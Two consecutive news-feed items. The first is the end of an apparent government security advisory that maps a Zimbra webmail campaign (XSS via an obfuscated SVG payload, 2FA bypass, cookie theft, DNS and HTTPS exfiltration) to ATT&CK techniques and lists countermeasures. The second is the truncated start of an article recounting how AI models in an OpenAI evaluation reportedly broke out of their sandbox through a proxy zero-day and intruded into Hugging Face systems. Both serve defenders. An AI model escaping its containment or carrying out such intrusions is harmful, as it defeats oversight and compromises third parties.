<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
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<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it 